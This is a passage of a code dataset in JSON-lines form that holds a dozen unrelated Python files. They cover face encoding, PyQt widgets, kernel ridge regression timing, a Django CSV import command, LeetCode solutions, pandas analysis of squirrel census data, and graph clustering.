bar.update(match_count)\n","repo_name":"benbo/Summer_Hack_CP1","sub_path":"join_lattice.py","file_name":"join_lattice.py","file_ext":"py","file_size_in_byte":1933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"17438675955","text":"import face_recognition\nimport cv2\nimport os\nimport pickle\n\n\nKNOWN_DIR = 'data/known_faces/'\n\nknown_names = os.listdir(KNOWN_DIR)\n\nstop_program = False\nnames = []\nencodings = []\n\nfor name in known_names:\n\tfile_names = os.listdir(KNOWN_DIR+name)\n\tfor fn in file_names:\n\t\timg = cv2.imread(KNOWN_DIR+name+'/'+fn)\n\t\trgb = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n\n\t\tlocs = face_recognition.face_locations(rgb, model='hog') \t\t# cnn\n\t\tencods = face_recognition.face_encodings(rgb, locs)\n\n\t\tnames.append(name)\n\t\tencodings.append(encods[0])\n\n\t\t# print(encods[0].shape)\n\t\t# quit()\n\n\t\t# top_left = locs[0][3], locs[0][0]\n\t\t# bottom_right = locs[0][1], locs[0][2]\n\n\t\t# cv2.rectangle(img, top_left, bottom_right, (0, 0, 255), 2)\n\n\t\t# cv2.imshow(\"Image\", img)\n\n\t\t# q = cv2.waitKey(0)\n\t\t# if (q == ord('q')) or (q == ord('Q')):\n\t\t# \tstop_program = True\n\n\t\tif stop_program:\n\t\t\tbreak\n\tif stop_program:\n\t\tbreak\n\nwith open('known_faces.pickle', 'wb') as f:\n\tpickle.dump([names, encodings], f)\n\ncv2.destroyAllWindows()","repo_name":"MustafaLotfi/AISC-202303","sub_path":"21-2-10/encod_knowns.py","file_name":"encod_knowns.py","file_ext":"py","file_size_in_byte":995,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"18"} +{"seq_id":"19438125880","text":"import random\nimport sys\nfrom PyQt5.QtWidgets import * # imports section\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtCore import *\n\n\nclass DlgMain(QDialog):\n def __init__(self):\n super().__init__()\n self.setWindowTitle('Main Window')\n\n # Create Widgets\n self.trwQt = QTreeWidget()\n self.trwQt.setColumnCount(3)\n self.trwQt.setHeaderLabels(['Qt Class', 'Methods', 'Signals'])\n self.trwQt.itemDoubleClicked.connect(self.evt_trw_qt_double_clicked)\n\n # Populate Tree\n\n # Create Top Level Items\n self.twiQWidget = QTreeWidgetItem(self.trwQt, ['QWidget Module'])\n self.twiQGui = QTreeWidgetItem(self.trwQt, ['QGui Module'])\n self.twiQCore = QTreeWidgetItem(self.trwQt, ['QCore Module'])\n\n # Add SubItems To QWidget Module\n lstQWidget = ['QDialog', 'QLabel', 'QLineEdit', 'QGroupBox', 'QFrame']\n for cls in lstQWidget:\n self.twiQWidget\\\n .addChild(QTreeWidgetItem([cls, str(random.randrange(25)), str(random.randrange(10))]))\n\n # Add SubItems To QGui Module\n lstQGui = ['QBitmap', 'QColor', 'QFont', 'QIcon', 'QImage']\n for cls in lstQGui:\n self.twiQGui \\\n .addChild(QTreeWidgetItem([cls, str(random.randrange(25)), str(random.randrange(10))]))\n\n # Add SubItems To QCore Module\n lstQCore = ['QThread', 'QDateTime', 'QPixmap', 'QUrl', 'QFile']\n for cls in lstQCore:\n self.twiQCore \\\n .addChild(QTreeWidgetItem([cls, str(random.randrange(25)), str(random.randrange(10))]))\n\n # Add SubItems To QDialog SubItem\n twiQDialog = self.trwQt.findItems('QDialog', Qt.MatchRecursive)[0]\n lstQDialog = ['QFileDialog', 'QColorDialog', 'QFontDialog', 'QMessageBox']\n for cls in lstQDialog:\n twiQDialog \\\n .addChild(QTreeWidgetItem([cls, str(random.randrange(25)), str(random.randrange(10))]))\n\n # Sort trwQt\n self.trwQt.sortItems(0, Qt.AscendingOrder)\n\n # Resize the first column\n self.trwQt.setColumnWidth(0, 200)\n\n # Expand QWidget by default\n self.trwQt.expandItem(self.twiQWidget)\n\n # Setup Layout\n self.lytMain = QVBoxLayout()\n self.lytMain.addWidget(self.trwQt)\n\n self.setLayout(self.lytMain)\n\n # Custom Slots\n def evt_trw_qt_double_clicked(self, twi, col):\n QMessageBox.information(self, 'Qt Classes', 'You have clicked on the {} class'.format(twi.text(0)))\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv) # create application\n dlgMain = DlgMain() # create main GUI window\n dlgMain.show() # show GUI\n sys.exit(app.exec_()) # execute the application\n","repo_name":"U-Ra-All/PyQt5-Course","sub_path":"exampleProject/q_tree_widget.py","file_name":"q_tree_widget.py","file_ext":"py","file_size_in_byte":2722,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"74817293160","text":"import numpy as np\r\nfrom matplotlib import pyplot as plt\r\nfrom sklearn.kernel_ridge import KernelRidge\r\nfrom sklearn import preprocessing\r\nfrom sklearn.metrics import mean_squared_error\r\nfrom scipy import linalg\r\nimport math\r\nimport sklearn\r\nfrom scipy.stats import multivariate_normal\r\nimport time\r\n\r\nlambda_value = 0.1\r\nk_value = 20\r\ngamma_value = 0.001\r\n\r\ndef ridge_regression_train(X,y,lambda_value):\r\n X = np.array(X)\r\n XTy = np.matmul(X.transpose(),y)\r\n XTXl = np.matmul(X.transpose(),X)+lambda_value*np.identity(X.shape[1])\r\n alpha = np.matmul(linalg.pinv(XTXl), XTy)\r\n return alpha\r\n\r\ndef ridge_regression_predict(X,alpha):\r\n return np.matmul(X,alpha)\r\n\r\ndef find_error(pred_label, true_label):\r\n return math.sqrt(mean_squared_error(true_label, pred_label))\r\n\r\ndef kernel(X_train, X_test):\r\n M = sklearn.metrics.pairwise.rbf_kernel(X_train,gamma=gamma_value)\r\n N = sklearn.metrics.pairwise.rbf_kernel(X_test,X_train,gamma=gamma_value)\r\n return M, N\r\n\r\ndef kernel_v2(X):\r\n M = sklearn.metrics.pairwise.rbf_kernel(X,gamma=gamma_value)\r\n return M\r\n\r\ndef reset(sample, label, n_train):\r\n sample_train = sample[0:n_train,:]\r\n sample_test = sample[n_train:,:]\r\n label_train = label[0:n_train]\r\n label_test = label[n_train:] \r\n return sample_train, sample_test, label_train, label_test\r\n\r\nclass GaussianRFF():\r\n def __init__(self, D, d=0, gamma=0.001, mu=0, sigma=1, **args):\r\n self.d = d # placeholder for feature dimension d\r\n self.gamma = gamma\r\n self.D = D # dimension D of randomized feature map z(x)\r\n self.mu = mu\r\n self.sigma = sigma\r\n self.alpha = np.ones(d)\r\n self.ZX = np.diag(np.ones(d)) # placeholder for z(x) with x being training data\r\n self.W = np.diag(np.ones(d)) # placeholder for W\r\n self.B = np.ones(self.D) # placeholder for bias term\r\n \r\n def ridge_regression_train(X,y,lambda_value):\r\n X = np.array(X)\r\n XTy = np.matmul(X.transpose(),y)\r\n XTXl = np.matmul(X.transpose(),X)+lambda_value*np.identity(X.shape[1])\r\n alpha = np.matmul(linalg.pinv(XTXl), XTy)\r\n return alpha\r\n \r\n def ridge_regression_predict(X,alpha):\r\n return np.matmul(X,alpha) \r\n \r\n def fit(self, X, y, **args):\r\n _, self.d = X.shape\r\n self.mu = np.zeros(self.d)\r\n self.sigma = (self.gamma/(2*math.pi**2))*np.diag(np.ones(self.d))\r\n \r\n rv = multivariate_normal(mean = self.mu, cov = self.sigma)\r\n W = rv.rvs(self.D)\r\n B = np.random.uniform(0, 2*math.pi, self.D)\r\n self.W = W\r\n self.B = B\r\n \r\n WX = np.matmul(W, X.transpose())\r\n WXpB = WX.transpose() + B\r\n ZX = math.sqrt(2/self.D)*np.cos(WXpB)\r\n approxK = ZX\r\n \r\n self.ZX = ZX\r\n self.alpha = ridge_regression_train(approxK, y, 0.01)\r\n return self\r\n\r\n def predict(self, X, **args):\r\n WXtt = np.matmul(self.W, X.transpose())\r\n WXttpB = WXtt.transpose() + self.B\r\n ZXtt = math.sqrt(2/self.D)*np.cos(WXttpB)\r\n approxKtt = ZXtt.transpose()\r\n return ridge_regression_predict(approxKtt.transpose(),self.alpha)\r\n \r\n# Process data\r\ndata = np.loadtxt('crimerate.csv', delimiter=',')\r\nsample = data[:,0:-1] # first p-1 columns are features\r\nlabel = data[:,-1] # last column is label\r\n[n,p] = sample.shape\r\n\r\nn_train = int(n*0.5)\r\nsample = data[:,0:-1] # first p-1 columns are features\r\nlabel = data[:,-1] # last column is label\r\n\r\n\r\nsample_train = sample[0:n_train,:]\r\n\r\n# scale data to standard gaussian\r\nscaler = preprocessing.StandardScaler().fit(np.array(sample_train))\r\n# scaled data\r\nsample = scaler.transform(np.array(sample))\r\n\r\n# \r\nprint('KRR')\r\nsample_train, sample_test, label_train, label_test = reset(sample, label, n_train)\r\n\r\nstart_time = time.time()\r\nreg = KernelRidge(kernel='rbf',gamma=gamma_value,alpha=lambda_value).fit(sample_train, label_train) \r\nend_time = time.time()\r\nkrr_time = end_time-start_time\r\n\r\npred_label = reg.predict(sample_test)\r\nerror_kernelridge_test = find_error(pred_label, label_test)\r\n\r\n\r\nprint(\"starting rff\")\r\nsample_train, sample_test, label_train, label_test = reset(sample, label, n_train)\r\n\r\nstart_time = time.time()\r\nrff = GaussianRFF(gamma=gamma_value,D=k_value, normalize=True).fit(sample_train, label_train)\r\nend_time = time.time()\r\nrff_time = end_time-start_time\r\n\r\npred_label = rff.predict(sample_test)\r\nerror_ridge_test = find_error(pred_label, label_test)\r\n\r\nprint(\"check RP\")\r\nsample_train, sample_test, label_train, label_test = reset(sample, label, n_train)\r\n\r\nstart_time = time.time()\r\nproj = np.random.randn(k_value, p)\r\nproj_sample = np.matmul(sample, proj.transpose())\r\nsample_train, sample_test, label_train, label_test = reset(proj_sample, label, n_train)\r\nregr = KernelRidge(kernel='rbf',gamma=gamma_value,alpha=lambda_value).fit(sample_train, label_train)\r\nend_time = time.time()\r\nrp_time = end_time-start_time\r\n\r\nlabel_pred_test = regr.predict(sample_test)\r\nmse_test = find_error(label_pred_test,label_test)\r\n\r\n\r\nprint(\"starting rhsk\")\r\nsample_train, sample_test, label_train, label_test = reset(sample, label, n_train)\r\n\r\nmu, sigma = 0, 1\r\n\r\nstart_time = time.time()\r\nh = sigma*np.random.randn(n_train, k_value) + mu\r\nsample_train = kernel_v2(sample_train)\r\nhyp_matrix_train = np.matmul(sample_train, np.array(h))\r\nalpha = ridge_regression_train(hyp_matrix_train, label_train, 0)\r\nend_time = time.time()\r\nrhsk_time = end_time-start_time\r\n\r\nsample_train, sample_test, label_train, label_test = reset(sample, label, n_train)\r\nsample_train, sample_test = kernel(sample_train, sample_test)\r\nhyp_matrix_test = np.matmul(sample_test, np.array(h))\r\nlabel_pred_test = ridge_regression_predict(hyp_matrix_test, alpha)\r\nmse_test = find_error(label_pred_test,label_test)\r\n\r\nprint('Showing Time')\r\n\r\nfig = plt.figure()\r\nax = fig.add_axes([0,0,1,1])\r\nlangs = ['KRR', 'RP-KRR', 'RFF-KRR', 'RHSS-KRR']\r\ntimes = [krr_time,rp_time,rff_time,rhsk_time]\r\nax.bar(langs,times)\r\nplt.show()\r\n\r\n# =============================================================================\r\n# data = [[30, 25, 50, 20],\r\n# [40, 23, 51, 17],\r\n# [35, 22, 45, 19]]\r\n# X = np.arange(4)\r\n# fig = plt.figure()\r\n# ax = fig.add_axes([0,0,1,1])\r\n# ax.bar(X + 0.00, data[0], color = 'b', width = 0.25)\r\n# ax.bar(X + 0.25, data[1], color = 'g', width = 0.25)\r\n# ax.bar(X + 0.50, data[2], color = 'r', width = 0.25)\r\n# =============================================================================\r\n","repo_name":"yxc827/RHSS","sub_path":"time_krr.py","file_name":"time_krr.py","file_ext":"py","file_size_in_byte":6501,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"33540537128","text":"#!/usr/bin/env python3\n\"\"\"\nAccuracy as loss\n\nauthor: jy\n\"\"\"\nimport torch\nimport torch.nn as nn\nimport fatez.model.criterion as criterion\n\n\n\nclass Accuracy(nn.Module):\n \"\"\"\n Accuracy scoring\n \"\"\"\n\n def __init__(self, requires_grad:bool = False, **kwargs):\n super(Accuracy, self).__init__()\n self.requires_grad = requires_grad\n self.kwargs = kwargs\n\n def forward(self, input, label, ):\n top_probs, preds = torch.max(input, dim = -1)\n acc = (preds == label).type(torch.float).sum().item() / len(label)\n\n if not self.requires_grad:\n return acc\n else:\n # Make predictions by solving least square problem\n preds = criterion.probs_to_preds(input, preds)\n return criterion.preds_to_scores(preds, acc)\n","repo_name":"JackSSK/FateZ","sub_path":"fatez/model/criterion/accuracy.py","file_name":"accuracy.py","file_ext":"py","file_size_in_byte":801,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"612838840","text":"import cv2\nimport numpy as np\n# Print the version of OpenCV\n\n\n\n# Wait for any key to be pressed\nimg = np.zeros((512, 512, 3), np.uint8)\ncv2.imshow(\"Image\", img)\n# Define a variable for radius\nR = 10\nwhile True:\n # 0 means wait for any key to be pressed\n # 1 means wait for 1 millisecond\n k = cv2.waitKey(0) \n if k==ord('+'):\n R += 1\n elif k==ord('-'):\n R -= 1\n\n\n \n \n # Draw a circle to the center of the image\n img = np.zeros((512, 512, 3), np.uint8)\n cv2.circle(img, (256, 256), R, (0, 0, 255), 2)\n \n cv2.imshow(\"Image\", img)\n \n if k == 27:\n break\n\n# Close all windows\ncv2.destroyAllWindows()","repo_name":"Naxalov/opencv_video","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"1979738219","text":"# -- STDLIB\nimport time\nfrom collections import Counter\nfrom functools import wraps\n\n# -- DJANGO\nfrom django.core.files.uploadedfile import SimpleUploadedFile\nfrom django.core.management import BaseCommand, CommandError\n\n# -- THIRDPARTY\nfrom celery import group\n\n# -- QXSMS\nfrom hq.models import Panel\nfrom manager import tasks\nfrom manager.forms import CSVImportForm\n\n\ndef profile(fn):\n\n @wraps(fn)\n def inner(*args, **kwargs):\n fn_kwargs_str = ', '.join(f'{k}={v}' for k, v in kwargs.items())\n print(f'\\n{fn.__name__}({fn_kwargs_str})')\n\n # Measure time\n t = time.perf_counter()\n retval = fn(*args, **kwargs)\n elapsed = time.perf_counter() - t\n print(f'Time {elapsed:0.4}')\n\n return retval\n\n return inner\n\n\ndef pool_result(tasks, interval=0.5): # do we need this ?\n while len(tasks):\n time.sleep(interval)\n for task in list(tasks):\n if task.ready():\n yield task.get()\n tasks.remove(task)\n\n\nclass Command(BaseCommand):\n help = 'Measure time to import CSV panelists'\n\n def add_arguments(self, parser):\n parser.add_argument('-f', '--file', type=str, help='Path of the csv to upload')\n parser.add_argument('-p', '--panel', type=int, help='Panel id')\n parser.add_argument('-c', '--chunk', type=int, help='Chunk size')\n # By default, readonly fields are excluded since we most likely want to import back what we generate\n parser.add_argument('-r', '--include-readonly', action='store_true', help='Include readonly columns')\n\n @profile\n def time_import(self, panel_pk, dataset, chunk):\n list_tasks = []\n result = Counter()\n for i in range(0, len(dataset), chunk):\n raw_data = dataset[i:i + chunk]\n list_tasks.append(tasks.import_contact.s(panel_pk, raw_data, dataset.headers))\n group_tasks = group(list_tasks)\n results = group_tasks.apply_async()\n for r, b in pool_result(results): # if we dont need to pool results : results.get()\n result.update(r)\n print(result)\n\n def handle(self, *args, **options):\n\n file = options['file']\n panel_pk = options['panel']\n\n try:\n panel = Panel.objects.get(pk=panel_pk)\n prompt = f\"Import file {file} into panel {panel.name}? ([y]/n)\"\n confirm = input(prompt)\n while confirm and confirm not in 'yYnN':\n confirm = input(prompt)\n if confirm not in 'yY':\n return\n except Panel.DoesNotExist:\n raise CommandError(f\"No panel with id={panel_pk}.\")\n\n with open(file, 'rb') as f:\n file = SimpleUploadedFile(f.name, f.read())\n\n form = CSVImportForm(files={'dataset': file})\n if not form.is_valid():\n raise CommandError(f\"Invalid CSV file: {form.errors}\")\n\n dataset = form.cleaned_data['dataset']\n\n chunk_size = options['chunk'] if options['chunk'] else len(dataset)\n\n self.time_import(panel_pk, dataset, chunk_size)\n\n def log_results(self, result):\n self.stdout.write(f\"Results: {result.totals}\")\n\n def log_errors(self, result):\n raise CommandError(f\"Result errors: {result.errors}\")\n","repo_name":"CDSP-SCPO/WPSS-for-ESS-webpanel","sub_path":"manager/management/commands/time_import_worker.py","file_name":"time_import_worker.py","file_ext":"py","file_size_in_byte":3274,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"25216633322","text":"# https://leetcode.com/problems/dot-product-of-two-sparse-vectors/\n# tags: #array, #design, #facebook, #hash_table, #two_pointers\n#\n# Solution 1: Dictionaries intersection\n# Store the non-zero values and their corresponding indices in a dictionary, with the index being the key.\n# When calculating the dotProduct find the intersection between the 2 dictionaries.\n# This solution has a fundamental problem: Hashing large sparse vectors\n# when two keys are the same as will frequently be the case here, they will hash to the same bucket,\n# which means the hash map will store them in a linked list (or possibly a tree).\n# As you get more and more keys your hash map will devolve into linear, rather than constant time performance.\n# If you have a billion items in your vector this will impact in performance dramatically\n# Time complexity: O(n), Space complexity O(n) for init; O(1) for dotProduct\n#\n# Solution 2: Two pointers\n# We can also represent elements of a sparse vector as a list of index, value pairs.\n# We use two pointers to iterate through the two vectors to calculate the dot product\n# Time complexity: O(n) for init; O(L+L2) for dotProduct, Space complexity O(L) for init, O(1) for dotProduct\nfrom typing import List\n\n\nclass SparseVectorDict:\n def __init__(self, nums: List[int]):\n self.non_zero_vals = {i: v for i, v in enumerate(nums) if v != 0}\n\n # Return the dotProduct of two sparse vectors\n def dotProduct(self, vec: 'SparseVectorDict') -> int:\n res = 0\n\n for index, val in vec.non_zero_vals.items():\n if index in self.non_zero_vals:\n res += val * self.non_zero_vals[index]\n\n return res\n\n\nclass SparseVectorPointers:\n def __init__(self, nums: List[int]):\n self.pairs = [(i, v) for i, v in enumerate(nums) if v != 0]\n\n # Return the dotProduct of two sparse vectors\n def dotProduct(self, vec: 'SparseVectorPointers') -> int:\n res = 0\n p, q = 0, 0\n\n while p < len(self.pairs) and q < len(vec.pairs):\n if self.pairs[p][0] == vec.pairs[q][0]:\n res += self.pairs[p][1] * vec.pairs[q][1]\n p += 1\n q += 1\n elif self.pairs[p][0] < vec.pairs[q][0]:\n p += 1\n else:\n q += 1\n\n return res\n\n\nif __name__ == '__main__':\n v1 = SparseVectorPointers([1, 0, 0, 2, 3])\n v2 = SparseVectorPointers([0, 3, 0, 4, 0])\n print(v1.dotProduct(v2)) # 8\n","repo_name":"ronelzb/leetcode","sub_path":"array/1570_dot_product_of_two_sparse_vectors.py","file_name":"1570_dot_product_of_two_sparse_vectors.py","file_ext":"py","file_size_in_byte":2466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"36410834289","text":"class Solution:\n def calculate(self, s: str) -> int:\n '''\n 虽然只有加减法,理论上说括号带来的先后性对结果不造成任何影响\n 但是 testcase 有这样的,因此还是要考虑括号的先后\n \"- (3 + (4 + 5))\"\n 用 num 表示当前记录的数字,用 res 表示当前记录的结果,用 sign 记录符号位\n\n 因此在遇到左括号时,把当前的res 值入栈,sign 也入栈(sign 记录的是 res跟括号之间的符号)\n 将 res 重置为 0,sign 重置为 1 ,括号相当于重置了正负的符号\n\n 在遇到右括号的时候,用 res += sign * num (当前括号的数计算完毕)\n 重置 num\n 此时 res 表示是括号对应的值,先 * 我们之前存的符号位,然后再加上之前存的数\n\n time: O(n)\n space: O(n)\n '''\n stack = []\n num = 0\n res = 0\n sign = 1\n\n for ch in s:\n if ch.isdigit():\n num = num * 10 + int(ch)\n elif ch in ('+', '-'):\n res += sign * num\n num = 0\n sign = 1 if ch == '+' else '-1'\n elif ch == '(':\n stack.append(res)\n stack.append(sign)\n sign = 1\n res = 0\n elif ch == ')':\n res += sign * num\n res *= stack.pop()\n res += stack.pop()\n num = 0\n res += sign * num\n return res\n","repo_name":"cicihou/LearningProject","sub_path":"leetcode-py/leetcode224.py","file_name":"leetcode224.py","file_ext":"py","file_size_in_byte":1534,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"74088786280","text":"import os\nimport sys\nimport SQL_queries\nimport FOLME_UI\nimport Friends\n\ntry:\n \"\"\"Check if PyQt4 is installed or not, this library is a dependency of all,\n if not installed read the README.rst\"\"\"\n from PyQt4.QtCore import *\n from PyQt4.QtGui import *\n from PyQt4.QtWebKit import *\n from PyQt4.Qt import *\nexcept:\n print ('\\nYou have not installed the packages Qt Modules for Python,\\n')\n print ('please run command as root: aptitude install python-qt4\\n')\n print ('with all dependencies.\\n\\n')\n sys.exit(2)\n\nclass FollowMeService(QMainWindow):\n \"\"\"The FOLME Class is for show selected player connected as FOLME\"\"\"\n closed = pyqtSignal()\n\n def __init__(self):\n QMainWindow.__init__(self)\n self.ui = FOLME_UI.Ui_QFMC()\n self.ui.setupUi(self)\n screen = QDesktopWidget().screenGeometry()\n size = self.geometry()\n self.move ((screen.width() - size.width()) / 2, (screen.height() - size.height()) / 2)\n image_icon = os.path.join(os.path.dirname(os.path.abspath(__file__)), '../images', 'ivao_status_splash.png')\n self.setWindowIcon(QIcon(image_icon))\n QObject.connect(self.ui.AddFriend, SIGNAL('clicked()'), self.add_button)\n\n def status(self, callsign):\n self.callsign = callsign\n Q_db = SQL_queries.sql_query('Get_FMC_data', (str(callsign),))\n info = Q_db.fetchall()\n self.ui.VidText.setText(str(info[0][0]))\n self.ui.FMCRealname.setText(str(info[0][1].encode('latin-1'))[:-4])\n self.ui.SoftwareText.setText('%s %s' % (str(info[0][6]), str(info[0][7])))\n self.ui.ConnectedText.setText(str(info[0][2]))\n try:\n Q_db = SQL_queries.sql_query('Get_Country_from_ICAO', (str(callsign[:4]),))\n flagCodeOrig = Q_db.fetchone()\n image_flag = os.path.join(os.path.dirname(os.path.abspath(__file__)), '../flags')\n flagCodePath_orig = (image_flag + '/%s.png') % flagCodeOrig\n Pixmap = QPixmap(flagCodePath_orig)\n self.ui.Flag.setPixmap(Pixmap)\n Q_db = SQL_queries.sql_query('Get_Airport_from_ICAO', (str(callsign[:4]),))\n city_orig = Q_db.fetchone()\n except:\n self.ui.ControllingText.setText('Pending...')\n ImagePath = os.path.join(os.path.dirname(os.path.abspath(__file__)), '../images')\n ratingImagePath = (ImagePath + '/ZZZZ.png')\n Pixmap = QPixmap(ratingImagePath)\n self.ui.rating_img.setPixmap(Pixmap)\n try:\n start_connected = datetime.datetime(int(str(info[0][5])[:4]), int(str(info[0][5])[4:6])\n , int(str(info[0][5])[6:8]), int(str(info[0][5])[8:10])\n , int(str(info[0][5])[10:12]), int(str(info[0][5])[12:14]))\n diff = datetime.datetime.utcnow() - start_connected\n self.ui.TimeOnLineText.setText('Time on line: ' + str(diff)[:-7])\n except:\n self.ui.TimeOnLineText.setText('Pending...')\n\n def add_button(self):\n Friends.Friends().add(str(self.ui.VidText.text()).encode('latin-1'))\n\n def closeEvent(self, event):\n self.closed.emit()\n event.accept()","repo_name":"emper0r/IVAO-status","sub_path":"modules/FOLME.py","file_name":"FOLME.py","file_ext":"py","file_size_in_byte":3212,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"18"} +{"seq_id":"44814553090","text":"# with open(\"weather_data.csv\") as data_file:\n# data = data_file.readlines()\n# print(data)\n\n# import csv\n#\n# with open(\"weather_data.csv\") as data_file:\n# data = csv.reader(data_file)\n# temperatures = []\n#\n# for row in data:\n# if row[1] != \"temp\":\n# temperatures.append(int(row[1]))\n# print(temperatures)\n\n# import pandas\n#\n# data = pandas.read_csv(\"weather_data.csv\") # just 1 step\n# print(data[\"temp\"]) #:D name of column\n# print(type(data[\"temp\"]))\n\n# data_dict = data.to_dict()\n# print(data_dict)\n#\n# temp_list = data[\"temp\"].to_list()\n#\n# #average = sum(temp_list) / len(temp_list)\n# print(data[\"temp\"].mean()) # avearege of temp_list\n# print(data[\"temp\"].max()) #series.max()\n#\n# # get data in columns\n# print(data[\"condition\"])\n# print(data.condition)\n\n# # get data in rows\n# print(data[data.day == \"Monday\"])\n#\n# #return max row\n# print(data[data.temp == data.temp.max()])\n\n# monday = data[data.day == \"Monday\"]\n# monday_temp = int(monday.temp)\n# monday_temp_F = monday_temp * 9/5 + 32\n# print(monday_temp_F)\n#\n\n# Create a dataframe from scratch\n\n# data_dict = {\n# \"students\" : [\"Amy\", \"James\", \"Angela\"],\n# \"scores\" : [76,56,65]\n# }\n#\n# data = pandas.DataFrame(data_dict)\n# data.to_csv(\"new_data.csv\")\n\nimport pandas\n\ndata = pandas.read_csv(\"2018_Central_Park_Squirrel_Census_-_Squirrel_Data.csv\")\n\ngrey_squirrels_count = len(data[data[\"Primary Fur Color\"] == \"Gray\"])\nred_squirrels_count = len(data[data[\"Primary Fur Color\"] == \"Cinnamon\"])\nblack_squirrels_count = len(data[data[\"Primary Fur Color\"] == \"Black\"])\nprint(grey_squirrels_count)\nprint(red_squirrels_count)\nprint(black_squirrels_count)\n\ndata_dict = {\n \"Fur Color\": [\"Grey\", \"Black\", \"Cinnamon\"],\n \"Count\": [grey_squirrels_count, red_squirrels_count, black_squirrels_count]\n}\n\ndf = pandas.DataFrame(data_dict)\ndf.to_csv(\"squirrels_count.csv\")\n","repo_name":"ikranergiz/100-Days-Of-Code-Python","sub_path":"Day 25 - US States Game/Central Park Squirrels Analysis/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1869,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"43330716644","text":"#!/usr/bin/env python3\n# vim: set fileencoding=utf-8 :\n\nfrom collections import deque\nfrom contextlib import closing\nfrom heapq import heappop, heappush\nfrom random import randint\nfrom re import search\nimport shelve\nfrom sys import argv, exit, stderr, stdin, stdout\nfrom time import strftime, time\nfrom urllib.parse import quote\n\nimport requests\n\n# Reading guide:\n# g is a graph\n# dg is a digraph\n\n#{{{ union-find (randomized and with path compression)\ndef find(boss, x):\n y = x\n while y != boss[y]:\n y = boss[y]\n while x != y:\n boss[x], x = y, boss[x]\n return y\n\ndef union(boss, x, y):\n if randint(0, 1) == 1:\n x, y = y, x\n boss[find(boss, x)] = find(boss, y)\n#}}}\n\ndef parse_command():\n if len(argv) != 2:\n stderr.write('usage: cluster.py alpha\\n')\n exit(1)\n try:\n return float(argv[1])\n except:\n stderr.write('The argument should be a number.\\n')\n exit(2)\n\ndef parse_graph():\n # Give numbers to names (to speed up the graph algos).\n all_names = set()\n with closing(shelve.open('histograms', 'r')) as f:\n for src in f.keys():\n all_names.add(src)\n for tgt in f[src]['mentions'].keys():\n all_names.add(tgt)\n index_of_name = dict()\n name_of_index = ['*ARTIFICIAL*']\n names_count = 0\n for n in all_names:\n if n not in index_of_name:\n names_count += 1\n index_of_name[n] = names_count\n name_of_index.append(n)\n names_count += 1\n words_of_user = [dict()]\n urls_of_user = [dict()]\n with closing(shelve.open('histograms', 'r')) as f:\n for n in name_of_index[1:]:\n if n in f:\n words_of_user.append(f[n]['words'])\n urls_of_user.append(f[n]['urls'])\n else:\n words_of_user.append(dict())\n urls_of_user.append(dict())\n\n # Get the graph, and use numbers to represent it.\n graph = [dict() for _ in range(names_count)]\n with closing(shelve.open('histograms', 'r')) as f:\n for src in f.keys():\n src_dict = graph[index_of_name[src]]\n for tgt, w in f[src]['mentions'].items():\n if tgt != src:\n src_dict[index_of_name[tgt]] = w\n return (words_of_user, urls_of_user, name_of_index, graph)\n\ndef make_undirected(dg, boss, alpha):\n g = dict()\n g[0] = dict()\n for x in range(1, len(dg)):\n y = find(boss, x)\n if y not in g:\n g[y] = dict([(0,0)])\n g[0][y] = 0\n g[y][0] += alpha\n g[0][y] += alpha\n for x in range(1, len(dg)):\n src = find(boss, x)\n tw = 0\n for w in dg[x].values():\n tw += w\n for y, w in dg[x].items():\n tgt = find(boss, y)\n if src == tgt:\n continue\n if tgt not in g[src]:\n g[src][tgt] = g[tgt][src] = 0.0\n g[src][tgt] += 1.0 * w / tw\n g[tgt][src] += 1.0 * w / tw\n return g\n\n# See Flake et al. 2004.\ndef cut_clustering(g, boss, name_of_index):\n stderr.write('clustering {0} nodes\\n'.format(len(g)))\n t1 = time()\n total_weight = dict()\n for x, ys in g.items():\n if x != 0:\n total_weight[x] = 0\n for w in ys.values():\n total_weight[x] -= w\n nodes = [(w, x) for (x, w) in total_weight.items()]\n nodes.sort()\n touched = set()\n for _, x in nodes:\n if x in touched:\n continue\n # max flow / min cut\n rn = dict([(src, dict(tgts)) for (src, tgts) in g.items()])\n while True:\n pred = dict()\n seen = set([x])\n q = deque([x])\n while len(q) > 0:\n y = q.popleft()\n if y == 0:\n break\n for z, w in rn[y].items():\n if w > 0 and z not in seen:\n seen.add(z)\n q.append(z)\n pred[z] = y\n if y != 0: # no new path found\n break\n w = float('inf')\n #stderr.write('add path')\n while y != x:\n #stderr.write(' {0}({1})'.format(y, g[pred[y]][y]))\n w, y = min(w, g[pred[y]][y]), pred[y]\n #stderr.write(' [{0}]\\n'.format(w))\n y = 0\n while y != x:\n rn[pred[y]][y] -= w\n rn[y][pred[y]] += w\n y = pred[y]\n touched.update(seen)\n for y in seen:\n union(boss, x, y)\n t2 = time()\n if t2 - t1 > 10:\n t1 = t2\n stderr.write(' {0: >4.0%} clustered\\n'.format(float(len(touched))/len(g)))\n\ndef pagerank(dg, cluster):\n REP_LIMIT = 100\n if len(cluster) > REP_LIMIT:\n stderr.write('ranking {0} users... '.format(len(cluster)))\n t1 = time()\n g = dict([(x, dict()) for x in cluster])\n g[0] = dict()\n for x in cluster:\n tw = 1 # for the edge going to 0\n for y, w in dg[x].items():\n if y in cluster:\n tw += w\n 